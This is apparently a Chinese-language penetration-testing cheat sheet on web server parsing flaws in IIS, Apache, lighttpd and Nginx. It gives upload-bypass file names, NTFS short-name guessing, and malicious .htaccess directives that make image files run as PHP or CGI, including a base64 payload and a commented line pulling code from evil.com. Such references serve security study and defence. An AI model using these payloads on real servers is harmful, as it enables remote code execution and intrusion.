# IIS
# IIS 6.0
-
后缀解析
/xx.asp;.jpg
- 服务器默认不解析
;
号及其后面的内容,相当于截断。
- 服务器默认不解析
-
目录解析
/xx.asp/xx.jpg
(xx.asp 目录下任意解析) -
默认解析
xx.asa
xx.cer
xx.cdx
-
PROPFIND 栈溢出漏洞
-
RCE CVE-2017-7269
# IIS 7.0-7.5 / Nginx <= 0.8.37
在 Fast-CGI 开启状态下,在文件路径后加上 /xx.php
,即 xx.jpg/xx.php
会被解析为 php 文件。
# PUT 漏洞
- 开启 WebDAV
- 拥有来宾用户,且来宾用户拥有上传权限
- 可任意文件上传
# Windows 特性
Windows 不允许空格和点以及一些特殊字符作为结尾,创建这样的文件会自动重命名,所以可以使用 xx.php[空格]
, xx.php.
, xx.php/
, xx.php::$DATA
上传脚本文件。
# 文件名猜解
在支持 NTFS 8.3 文件格式时,可利用短文件名猜解目录文件。其中短文件名特征如下:
- 文件名为原文件名前 6 位字符加上
~1
,其中数字部分是递增的,如果存在前缀相同的文件,则后面的数字进行递增。 - 后缀名不超过 3 位,超过部分会被截断
- 所有小写字母均转换成大写的字母
- 文件名后缀长度大于等于 4 或者总长度大于等于 9 时才会生成短文件名,如果包含空格或者其他部分特殊字符,则无视长度条件
IIS 8.0 之前的版本支持短文件名猜测的 HTTP 方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE 六种,需要安装 ASP.NET。而 IIS 8.0 之后的版本只能通过 OPTIONS 和 TRACE 方法猜测成功,但是没有 ASP.NET 的限制。
这种方法的局限性在于:
- 文件夹名前 6 位字符带点”.”,扫描程序会认为是文件而不是文件夹,最终出现误报
- 不支持中文文件名
这种方法可以通过命令 fsutil behavior set disable8dot3 1
关闭 NTFS 8.3 文件格式的支持来修复。
# 4.15.1.6. 参考链接
- 利用 Windows 特性高效猜测目录
- Uploading web.config for Fun and Profit 2
# Apache
# 后缀解析
test.php.x1.x2.x3
( x1,x2,x3 为没有在 mime.types 文件中定义的文件类型)。Apache 将从右往左开始判断后缀, 若 x3 为非可识别后缀,则判断 x2,直到找到可识别后缀为止,然后对可识别后缀进行解析
# .htaccess
当 AllowOverride 被启用时,上传启用解析规则的.htaccess
AddType application/x-httpd-php .jpg
php_value auto_append_file .htaccess
#<?php phpinfo();
Options ExecCGI
AddHandler cgi-script .jpg
Options +ExecCGI
AddHandler fcgid-script .gif
FcgidWrapper "/bin/bash" .gif
php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://evil.com/evil-code.txt
# 目录遍历
配置 Options +Indexes
时 Apache 存在目录遍历漏洞。
# CVE-2017-15715
%0A
绕过上传黑名单。
# lighttpd
xx.jpg/xx.php
# 参考链接
- Apache 上传绕过
# Nginx
# Fast-CGI 关闭
在 Fast-CGI 关闭的情况下, Nginx 仍然存在解析漏洞: 在文件路径 (xx.jpg) 后面加上 %00.php
, 即 xx.jpg%00.php
会被当做 php 文件来解析
# Fast-CGI 开启
在 Fast-CGI 开启状态下,在文件路径后加上 /xx.php
,则 xx.jpg/xx.php
会被解析为 php 文件
# CVE-2013-4547
a.jpg\x20\x00.php
# 配置错误
# 目录穿越
如果配置中存在类似 location /foo { alias /bar/; }
的配置时, /foo../
会被解析为 /bar/../
从而导致目录穿越的发生。
# 目录遍历
配置中 autoindex on
开启时,Nginx 中存在目录遍历漏洞。
# 参考链接
- CVE-2013-4547 Nginx 解析漏洞深入利用及分析